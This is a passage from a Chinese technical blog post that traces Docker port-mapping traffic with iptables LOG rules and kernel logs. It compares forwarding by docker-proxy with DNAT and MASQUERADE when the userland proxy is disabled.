ACK SYN URGP=0 Jan 15 16:04:54 pc-baim kernel: [28410.164026] [TonyBai]-FilterInput:IN=docker0 OUT= PHYSIN=vethf0cc298 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=172.17.0.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=43771 WINDOW=28960 RES=0x00 ACK SYN URGP=0 【host回复ack，host与container3握手完成】\nhost回复握手过程最后的一个ack。user空间自产数据包，于是走output chain：\nJan 15 16:04:54 pc-baim kernel: [28410.164049] [TonyBai]-RawOutput:IN= OUT=docker0 SRC=172.17.0.1 DST=172.17.0.4 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5769 DF PROTO=TCP SPT=43771 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 Jan 15 16:04:54 pc-baim kernel: [28410.164058] [TonyBai]-FilterOutput:IN= OUT=docker0 SRC=172.17.0.1 DST=172.17.0.4 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5769 DF PROTO=TCP SPT=43771 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 【187 在已经建立的连接上发送”hello”】\n187发送hello to host，docker-proxy收到hello数据：\nJan 15 16:04:58 pc-baim kernel: [28413.840854] [TonyBai]-RawPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=10.10.126.101 LEN=59 TOS=0x10 PREC=0x00 TTL=64 ID=32619 DF PROTO=TCP SPT=33250 DPT=12580 WINDOW=92 RES=0x00 ACK PSH URGP=0 Jan 15 16:04:58 pc-baim kernel: [28413.840874] [TonyBai]-FilterInput:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:19:bb:5e:0a:86:08:00 SRC=10.10.126.187 DST=10.10.126.101 LEN=59 TOS=0x10 PREC=0x00 TTL=64 ID=32619 DF PROTO=TCP SPT=33250 DPT=12580 WINDOW=92 RES=0x00 ACK PSH URGP=0 【host返回 ack push】\nJan 15 16:04:58 pc-baim kernel: [28413.840893] [TonyBai]-RawOutput:IN= OUT=eth0 SRC=10.10.126.101 DST=10.10.126.187 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=22415 DF PROTO=TCP SPT=12580 DPT=33250 WINDOW=227 RES=0x00 ACK URGP=0 Jan 15 16:04:58 pc-baim kernel: [28413.840902] [TonyBai]-FilterOutput:IN= OUT=eth0 SRC=10.10.126.101 DST=10.10.126.187 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=22415 DF PROTO=TCP SPT=12580 DPT=33250 WINDOW=227 RES=0x00 ACK URGP=0 接下来，docker-proxy将hello从已有连接上转发给container3。\n【host转发hello到container3】\nJan 15 16:04:58 pc-baim kernel: [28413.841000] [TonyBai]-RawOutput:IN= OUT=docker0 SRC=172.17.0.1 DST=172.17.0.4 LEN=59 TOS=0x00 PREC=0x00 TTL=64 ID=5770 DF PROTO=TCP SPT=43771 DPT=12580 WINDOW=229 RES=0x00 ACK PSH URGP=0 Jan 15 16:04:58 pc-baim kernel: [28413.841026] [TonyBai]-FilterOutput:IN= OUT=docker0 SRC=172.17.0.1 DST=172.17.0.4 LEN=59 TOS=0x00 PREC=0x00 TTL=64 ID=5770 DF PROTO=TCP SPT=43771 DPT=12580 WINDOW=229 RES=0x00 ACK PSH URGP=0 【container3回复ack 】\nJan 15 16:04:58 pc-baim kernel: [28413.841101] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethf0cc298 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=172.17.0.1 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=61139 DF PROTO=TCP SPT=12580 DPT=43771 WINDOW=227 RES=0x00 ACK URGP=0 Jan 15 16:04:58 pc-baim kernel: [28413.841119] [TonyBai]-FilterInput:IN=docker0 OUT= PHYSIN=vethf0cc298 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=172.17.0.1 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=61139 DF PROTO=TCP SPT=12580 DPT=43771 WINDOW=227 RES=0x00 ACK URGP=0 通信过程到此结束。通过这个过程，我们至少了解到两点：\n1、docker-proxy将外部建立在host:12580上的连接上的数据转发到container中，反之亦然，如果container 通过与host已经建立的连接向外发送数据，docker-proxy也会将数据转发给187。\n2、通过iptables log输出我们可以看到：为了port map而添加的DNAT和MASQUERADE 并没有被匹配到，也就是说在这个过程中并没有用到DNAT，而是完全依靠docker-proxy做的4层代理。\n2、从宿主机上访问10.10.126.101:12580 我们在宿主机本机上访问10.10.126.101:12580，看看这个通信过程与上面的是否有差异。\n【与本机12580端口建立连接，发送sync包】\n由于是user层发送数据包，因此走iptables output链。\nJan 15 16:40:15 pc-baim kernel: [30532.594545] [TonyBai]-RawOutput:IN= OUT=lo SRC=10.10.126.101 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=53747 DF PROTO=TCP SPT=48039 DPT=12580 WINDOW=43690 RES=0x00 SYN URGP=0 在output链上，匹配到nat output上的规则：\nChain DOCKER (1 references) pkts bytes target prot opt in out source destination 1 60 LOG tcp -- !docker0 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:12580 LOG flags 0 level 7 prefix \u0026quot;[TonyBai]-PortmapNatOutputDoc\u0026quot; 1 60 DNAT tcp -- !docker0 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:12580 to:172.17.0.4:12580 于是这里将做一个DNAT，数据包的目的地址10.10.126.101被替换为172.17.0.4。\nJan 15 16:40:15 pc-baim kernel: [30532.594561] [TonyBai]-PortmapNatOutputDoc IN= OUT=lo SRC=10.10.126.101 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=53747 DF PROTO=TCP SPT=48039 DPT=12580 WINDOW=43690 RES=0x00 SYN URGP=0 Jan 15 16:40:15 pc-baim kernel: [30532.594572] [TonyBai]-FilterOutput:IN= OUT=lo SRC=10.10.126.101 DST=172.17.0.4 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=53747 DF PROTO=TCP SPT=48039 DPT=12580 WINDOW=43690 RES=0x00 SYN URGP=0 DNAT后，将按照目的地址做一个重新路由：叫实际路由。消息实际重定向到docker0进行封包发送，sync包直接进入到container3 中。\n【container3发送ack sync包】\ndocker0出来的ack sync 通过input chain送到user空间。这块应该由一个自动un-DNAT，将172.17.0.4自动转回10.10.126.101，但通过iptables日志无法确认这点。\nJan 15 16:40:15 pc-baim kernel: [30532.594615] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethf0cc298 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=10.10.126.101 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=48039 WINDOW=28960 RES=0x00 ACK SYN URGP=0 Jan 15 16:40:15 pc-baim kernel: [30532.594624] [TonyBai]-FilterInput:IN=docker0 OUT= PHYSIN=vethf0cc298 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=10.10.126.101 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=48039 WINDOW=28960 RES=0x00 ACK SYN URGP=0 【host发送ack，完成握手】\nhost回复ack。user层自产包，走output链，看rawoutput，dst依旧是126.101(telnet自然不应该知道 172.17.0.4的存在)，但是filter output 前，iptables对该地址自动做了dnat，无需重新进入到nat output链，因为之前已经进过了。在filter output中，我们看到dst ip已经变成了container3的ip地址：\nJan 15 16:40:15 pc-baim kernel: [30532.594637] [TonyBai]-RawOutput:IN= OUT=lo SRC=10.10.126.101 DST=10.10.126.101 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=53748 DF PROTO=TCP SPT=48039 DPT=12580 WINDOW=342 RES=0x00 ACK URGP=0 Jan 15 16:40:15 pc-baim kernel: [30532.594643] [TonyBai]-FilterOutput:IN= OUT=lo SRC=10.10.126.101 DST=172.17.0.4 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=53748 DF PROTO=TCP SPT=48039 DPT=12580 WINDOW=342 RES=0x00 ACK URGP=0 【host发送hello】\n这个过程同上，不赘述。\nJan 15 16:40:18 pc-baim kernel: [30535.344921] [TonyBai]-RawOutput:IN= OUT=lo SRC=10.10.126.101 DST=10.10.126.101 LEN=59 TOS=0x10 PREC=0x00 TTL=64 ID=53749 DF PROTO=TCP SPT=48039 DPT=12580 WINDOW=342 RES=0x00 ACK PSH URGP=0 Jan 15 16:40:18 pc-baim kernel: [30535.344956] [TonyBai]-FilterOutput:IN= OUT=lo SRC=10.10.126.101 DST=172.17.0.4 LEN=59 TOS=0x10 PREC=0x00 TTL=64 ID=53749 DF PROTO=TCP SPT=48039 DPT=12580 WINDOW=342 RES=0x00 ACK PSH URGP=0 【container回复ack】\n不赘述。\nJan 15 16:40:18 pc-baim kernel: [30535.345027] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=vethf0cc298 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=10.10.126.101 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=43021 DF PROTO=TCP SPT=12580 DPT=48039 WINDOW=227 RES=0x00 ACK URGP=0 Jan 15 16:40:18 pc-baim kernel: [30535.345056] [TonyBai]-FilterInput:IN=docker0 OUT= PHYSIN=vethf0cc298 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=10.10.126.101 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=43021 DF PROTO=TCP SPT=12580 DPT=48039 WINDOW=227 RES=0x00 ACK URGP=0 从这个过程可以看到，在宿主机上访问container的映射端口，通信流程不走docker-proxy，而是直接通过output 的dnat将数据包被直接转给container中的server程序。\n3、container to container 在container1中telnet 10.10.126.101 12580会发生什么呢？这里就不长篇大论的列log了，直接给出结论：通过docker-proxy转发，因为不满足nat output中DNAT的匹配条件。\n二、在–userland-proxy=false的情况下 我们修改了一下/etc/default/docker配置，为DOCKER_OPTS增加一个option: –userland-proxy=false。\nDOCKER_OPTS=\u0026quot;--dns 8.8.8.8 --dns 8.8.4.4 --userland-proxy=false\u0026quot; 重启docker daemon并清理iptables规则(-F)，并启动做端口映射的container3。启动后，你会发现之前的docker-proxy并没有出现在启动进程列表中，iptables的规则与–userland-proxy=true时也有所不同：\n$ sudo iptables -nL -v Chain INPUT (policy ACCEPT 1645 packets, 368K bytes) pkts bytes target prot opt in out source destination Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 0 0 DOCKER all -- * docker0 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT all -- * docker0 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED 0 0 ACCEPT all -- docker0 !docker0 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT all -- docker0 docker0 0.0.0.0/0 0.0.0.0/0 Chain OUTPUT (policy ACCEPT 263 packets, 134K bytes) pkts bytes target prot opt in out source destination Chain DOCKER (1 references) pkts bytes target prot opt in out source destination 0 0 ACCEPT tcp -- !docker0 docker0 0.0.0.0/0 172.17.0.4 tcp dpt:12580 $ sudo iptables -t nat -nL -v Chain PREROUTING (policy ACCEPT 209 packets, 65375 bytes) pkts bytes target prot opt in out source destination 71 49357 DOCKER all -- * * 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL Chain INPUT (policy ACCEPT 98 packets, 39060 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 34 packets, 2096 bytes) pkts bytes target prot opt in out source destination 21 1302 DOCKER all -- * * 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match dst-type LOCAL Chain POSTROUTING (policy ACCEPT 34 packets, 2096 bytes) pkts bytes target prot opt in out source destination 0 0 MASQUERADE all -- * docker0 0.0.0.0/0 0.0.0.0/0 ADDRTYPE match src-type LOCAL 0 0 MASQUERADE all -- * !docker0 172.17.0.0/16 0.0.0.0/0 0 0 MASQUERADE tcp -- * * 172.17.0.4 172.17.0.4 tcp dpt:12580 Chain DOCKER (2 references) pkts bytes target prot opt in out source destination 0 0 DNAT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:12580 to:172.17.0.4:12580 可以看到nat表中prerouting链增加了target为DOCKER链的规则，并且Docker链中对dnat的匹配条件也放开了，只要是dst-type是LOCAL的，dport=12580的，都将ip映射为172.17.0.4。\n由于iptables的规则有所变化，因此因此我的log target的匹配条件也该调整一下了，调整后的iptables为：\niptables.portmap.stage1.tmp.rules # Generated by iptables-save v1.4.12 on Mon Jan 18 09:06:06 2016 *mangle : POSTROUTING ACCEPT [0:0] -A POSTROUTING -o docker0 -m addrtype --src-type LOCAL -j LOG --log-prefix \u0026quot;[TonyBai]-manglepost1\u0026quot; --log-level 7 -A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-manglepost2\u0026quot; --log-level 7 -A POSTROUTING -s 172.17.0.4/32 -d 172.17.0.4/32 -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-manglepost3\u0026quot; --log-level 7 COMMIT *raw : PREROUTING ACCEPT [1008742:377375989] :OUTPUT ACCEPT [426678:274235692] -A PREROUTING -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawPrerouting:\u0026quot; --log-level 7 -A PREROUTING -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawPrerouting:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawOutput:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-RawOutput:\u0026quot; --log-level 7 COMMIT # Completed on Mon Jan 18 09:06:06 2016 # Generated by iptables-save v1.4.12 on Mon Jan 18 09:06:06 2016 *filter :INPUT ACCEPT [187016:64478647] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [81342:51955911] : DOCKER - [0:0] :FwdId0Od0 - [0:0] :FwdId0Ond0 - [0:0] :FwdOd0 - [0:0] -A INPUT ! -i lo -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-EnterFilterInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterInput:\u0026quot; --log-level 7 -A FORWARD -o docker0 -j DOCKER -A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j FwdOd0 -A FORWARD -i docker0 ! -o docker0 -j FwdId0Ond0 -A FORWARD -i docker0 -o docker0 -j FwdId0Od0 -A OUTPUT ! -s 127.0.0.1/32 -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-EnterFilterOutput:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterOutput:\u0026quot; --log-level 7 -A OUTPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-FilterOutput:\u0026quot; --log-level 7 -A DOCKER -d 172.17.0.4/32 ! -i docker0 -o docker0 -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-PortmapFowardDocker\u0026quot; --log-level 7 -A DOCKER -d 172.17.0.4/32 ! -i docker0 -o docker0 -p tcp -m tcp --dport 12580 -j ACCEPT -A FwdId0Od0 -i docker0 -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-FwdId0Od0:\u0026quot; --log-level 7 -A FwdId0Od0 -i docker0 -o docker0 -j ACCEPT -A FwdId0Ond0 -i docker0 ! -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-FwdId0Ond0:\u0026quot; --log-level 7 -A FwdId0Ond0 -i docker0 ! -o docker0 -j ACCEPT -A FwdOd0 -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j LOG --log-prefix \u0026quot;[TonyBai]-FwdOd0:\u0026quot; --log-level 7 -A FwdOd0 -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT COMMIT # Completed on Mon Jan 18 09:06:06 2016 # Generated by iptables-save v1.4.12 on Mon Jan 18 09:06:06 2016 *nat : PREROUTING ACCEPT [34423:7014094] :INPUT ACCEPT [9475:1880078] :OUTPUT ACCEPT [3524:218202] : POSTROUTING ACCEPT [3508:217098] : DOCKER - [0:0] :LogNatPostRouting1 - [0:0] :LogNatPostRouting2 - [0:0] :LogNatPostRouting3 - [0:0] -A PREROUTING -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-Enter iptables:\u0026quot; --log-level 7 -A PREROUTING -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPrerouting:\u0026quot; --log-level 7 -A PREROUTING -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPrerouting:\u0026quot; --log-level 7 -A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER -A INPUT ! -i lo -p icmp -j LOG --log-prefix \u0026quot;[TonyBai]-EnterNatInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatInput:\u0026quot; --log-level 7 -A INPUT -p tcp -m tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatInput:\u0026quot; --log-level 7 -A OUTPUT -m addrtype --dst-type LOCAL -j DOCKER -A POSTROUTING -p tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPostrouteEnter\u0026quot; --log-level 7 -A POSTROUTING -p tcp --sport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPostrouteEnter\u0026quot; --log-level 7 -A POSTROUTING -o docker0 -m addrtype --src-type LOCAL -j LogNatPostRouting1 -A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j LogNatPostRouting2 -A POSTROUTING -s 172.17.0.4/32 -d 172.17.0.4/32 -p tcp -m tcp --dport 12580 -j LogNatPostRouting3 -A DOCKER -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-PortmapNatPrerouting\u0026quot; --log-level 7 -A DOCKER -p tcp -m tcp --dport 12580 -j DNAT --to-destination 172.17.0.4:12580 -A LogNatPostRouting1 -o docker0 -m addrtype --src-type LOCAL -j LOG --log-prefix \u0026quot;[TonyBai]-NatPost1\u0026quot; --log-level 7 -A LogNatPostRouting1 -o docker0 -m addrtype --src-type LOCAL -j MASQUERADE -A LogNatPostRouting2 -s 172.17.0.0/16 ! -o docker0 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPost2\u0026quot; --log-level 7 -A LogNatPostRouting2 -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE -A LogNatPostRouting3 -s 172.17.0.4/32 -d 172.17.0.4/32 -p tcp -m tcp --dport 12580 -j LOG --log-prefix \u0026quot;[TonyBai]-NatPost3\u0026quot; --log-level 7 -A LogNatPostRouting3 -s 172.17.0.4/32 -d 172.17.0.4/32 -p tcp -m tcp --dport 12580 -j MASQUERADE COMMIT # Completed on Mon Jan 18 09:06:06 2016 接下来，我们按照上面的方法再做一遍实验例子，看看通信流程有何不同。这次我们将187主机换为10.10.105.71，其他无差别。\n1、 在71上telnet 10.10.126.101 12580 宿主机从eth0接口收到syn，nat prerouting中做DNAT。路由后，通过forward链转发到docker0：\nJan 18 13:35:55 pc-baim kernel: [278835.389225] [TonyBai]-RawPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:23:89:7d:b6:b1:08:00 SRC=10.10.105.71 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=61480 DF PROTO=TCP SPT=41502 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 Jan 18 13:35:55 pc-baim kernel: [278835.389275] [TonyBai]-NatPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:23:89:7d:b6:b1:08:00 SRC=10.10.105.71 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=61480 DF PROTO=TCP SPT=41502 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 Jan 18 13:35:55 pc-baim kernel: [278835.389290] [TonyBai]-PortmapNatPreroutinIN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:23:89:7d:b6:b1:08:00 SRC=10.10.105.71 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=63 ID=61480 DF PROTO=TCP SPT=41502 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 Jan 18 13:35:55 pc-baim kernel: [278835.389326] [TonyBai]-PortmapFowardDockerIN=eth0 OUT=docker0 MAC=2c:59:e5:01:98:28:00:23:89:7d:b6:b1:08:00 SRC=10.10.105.71 DST=172.17.0.4 LEN=60 TOS=0x10 PREC=0x00 TTL=62 ID=61480 DF PROTO=TCP SPT=41502 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 Jan 18 13:35:55 pc-baim kernel: [278835.389339] [TonyBai]-NatPostrouteEnterIN= OUT=docker0 SRC=10.10.105.71 DST=172.17.0.4 LEN=60 TOS=0x10 PREC=0x00 TTL=62 ID=61480 DF PROTO=TCP SPT=41502 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 接下来从docker0网卡收到container3的ack syn应答，在从eth0转发出去前自动un-DNAT， src ip从172.17.0.4变为101.0126.101，但这个在日志中看不出来。\nJan 18 13:35:55 pc-baim kernel: [278835.389496] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=veth0d66af2 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=10.10.105.71 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=41502 WINDOW=28960 RES=0x00 ACK SYN URGP=0 Jan 18 13:35:55 pc-baim kernel: [278835.389519] [TonyBai]-FwdId0Ond0:IN=docker0 OUT=eth0 PHYSIN=veth0d66af2 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=10.10.105.71 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=0 DF PROTO=TCP SPT=12580 DPT=41502 WINDOW=28960 RES=0x00 ACK SYN URGP=0 Jan 18 13:35:55 pc-baim kernel: [278835.389528] [TonyBai]-manglepost2IN= OUT=eth0 PHYSIN=veth0d66af2 SRC=172.17.0.4 DST=10.10.105.71 LEN=60 TOS=0x00 PREC=0x00 TTL=63 ID=0 DF PROTO=TCP SPT=12580 DPT=41502 WINDOW=28960 RES=0x00 ACK SYN URGP=0 回送ack，这回无需再匹配natprerouting链，前面进过链一次，后续自动进行DNAT：\nJan 18 13:35:55 pc-baim kernel: [278835.390079] [TonyBai]-RawPrerouting:IN=eth0 OUT= MAC=2c:59:e5:01:98:28:00:23:89:7d:b6:b1:08:00 SRC=10.10.105.71 DST=10.10.126.101 LEN=52 TOS=0x10 PREC=0x00 TTL=63 ID=61481 DF PROTO=TCP SPT=41502 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 Jan 18 13:35:55 pc-baim kernel: [278835.390149] [TonyBai]-PortmapFowardDockerIN=eth0 OUT=docker0 MAC=2c:59:e5:01:98:28:00:23:89:7d:b6:b1:08:00 SRC=10.10.105.71 DST=172.17.0.4 LEN=52 TOS=0x10 PREC=0x00 TTL=62 ID=61481 DF PROTO=TCP SPT=41502 DPT=12580 WINDOW=229 RES=0x00 ACK URGP=0 这次我们看到，在这种方式下，外部流量也是通过DNAT方式导入到container中的。\n2、在宿主机上 telnet 10.10.126.101 12580 telnet发起tcp握手，syn包进入output链，匹配到nat output规则，做DNAT。目的ip转换为172.17.0.4。注意继续向下，我们看iptables匹配到了NatPost1，也就是规则：\n-A LogNatPostRouting1 -o docker0 -m addrtype --src-type LOCAL -j MASQUERADE 即将源地址伪装为出口网卡docker0的当前地址：172.0.0.1。于是实际上进入到container3的syn数据包的源地址为172.0.0.1，目的地址：172.0.0.4。\nJan 18 13:49:43 pc-baim kernel: [279663.426497] [TonyBai]-RawOutput:IN= OUT=lo SRC=10.10.126.101 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=40854 DF PROTO=TCP SPT=52736 DPT=12580 WINDOW=43690 RES=0x00 SYN URGP=0 Jan 18 13:49:43 pc-baim kernel: [279663.426526] [TonyBai]-PortmapNatPreroutinIN= OUT=lo SRC=10.10.126.101 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=40854 DF PROTO=TCP SPT=52736 DPT=12580 WINDOW=43690 RES=0x00 SYN URGP=0 Jan 18 13:49:43 pc-baim kernel: [279663.426545] [TonyBai]-FilterOutput:IN= OUT=lo SRC=10.10.126.101 DST=172.17.0.4 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=40854 DF PROTO=TCP SPT=52736 DPT=12580 WINDOW=43690 RES=0x00 SYN URGP=0 Jan 18 13:49:43 pc-baim kernel: [279663.426553] [TonyBai]-manglepost1IN= OUT=docker0 SRC=10.10.126.101 DST=172.17.0.4 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=40854 DF PROTO=TCP SPT=52736 DPT=12580 WINDOW=43690 RES=0x00 SYN URGP=0 Jan 18 13:49:43 pc-baim kernel: [279663.426561] [TonyBai]-NatPostrouteEnterIN= OUT=docker0 SRC=10.10.126.101 DST=172.17.0.4 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=40854 DF PROTO=TCP SPT=52736 DPT=12580 WINDOW=43690 RES=0x00 SYN URGP=0 Jan 18 13:49:43 pc-baim kernel: [279663.426567] [TonyBai]-NatPost1IN= OUT=docker0 SRC=10.10.126.101 DST=172.17.0.4 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=40854 DF PROTO=TCP SPT=52736 DPT=12580 WINDOW=43690 RES=0x00 SYN URGP=0 container3返回ack，从宿主机角度来看，相当于从docker0网卡收到ack。我们看到进来的原始数据：dst = 172.17.0.1，这是上面MASQUERADE的作用。在进入input链前，做自动un-SNAT，目的地址由172.17.0.1转换为10.10.126.101。在真正送到user层之前（output链等同的左边同纬度位置），做自动un-DNAT(但在下面日志中看不出来)，src由172.17.0.4变为10.10.126.101。数据包的变换总体次序依次为：即DNAT -\u0026gt; SNAT -\u0026gt; (应答包)un-SNAT -\u0026gt; un-DNAT。\nJan 18 13:49:43 pc-baim kernel: [279663.426646] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=veth0d66af2 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=172.17.0.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=52736 WINDOW=28960 RES=0x00 ACK SYN URGP=0 Jan 18 13:49:43 pc-baim kernel: [279663.426665] [TonyBai]-FilterInput:IN=docker0 OUT= PHYSIN=veth0d66af2 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:04:08:00 SRC=172.17.0.4 DST=10.10.126.101 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=12580 DPT=52736 WINDOW=28960 RES=0x00 ACK SYN URGP=0 宿主机回复ack，握手完成。由于之前走过nat output和post链，因此这里不会再匹配，而是自动DNAT和SNAT：\nJan 18 13:49:43 pc-baim kernel: [279663.426690] [TonyBai]-RawOutput:IN= OUT=lo SRC=10.10.126.101 DST=10.10.126.101 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=40855 DF PROTO=TCP SPT=52736 DPT=12580 WINDOW=342 RES=0x00 ACK URGP=0 Jan 18 13:49:43 pc-baim kernel: [279663.426707] [TonyBai]-FilterOutput:IN= OUT=lo SRC=10.10.126.101 DST=172.17.0.4 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=40855 DF PROTO=TCP SPT=52736 DPT=12580 WINDOW=342 RES=0x00 ACK URGP=0 Jan 18 13:49:43 pc-baim kernel: [279663.426719] [TonyBai]-manglepost1IN= OUT=docker0 SRC=10.10.126.101 DST=172.17.0.4 LEN=52 TOS=0x10 PREC=0x00 TTL=64 ID=40855 DF PROTO=TCP SPT=52736 DPT=12580 WINDOW=342 RES=0x00 ACK URGP=0 3、从container1 telnet 10.10.126.101 12580 container1向服务发起tcp连接，宿主机从docker0网卡收到sync包。\nJan 18 13:51:10 pc-baim kernel: [279750.806496] [TonyBai]-RawPrerouting:IN=docker0 OUT= PHYSIN=veth44a97d7 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=31888 DF PROTO=TCP SPT=54408 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 Jan 18 13:51:10 pc-baim kernel: [279750.806519] [TonyBai]-NatPrerouting:IN=docker0 OUT= PHYSIN=veth44a97d7 MAC=02:42:23:39:fd:f5:02:42:ac:11:00:02:08:00 SRC=172.17.0.2 DST=10.10.126.101 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=31888 DF PROTO=TCP SPT=54408 DPT=12580 WINDOW=29200 RES=0x00 SYN URGP=0 Jan 18 13:51:10 pc-baim kernel: 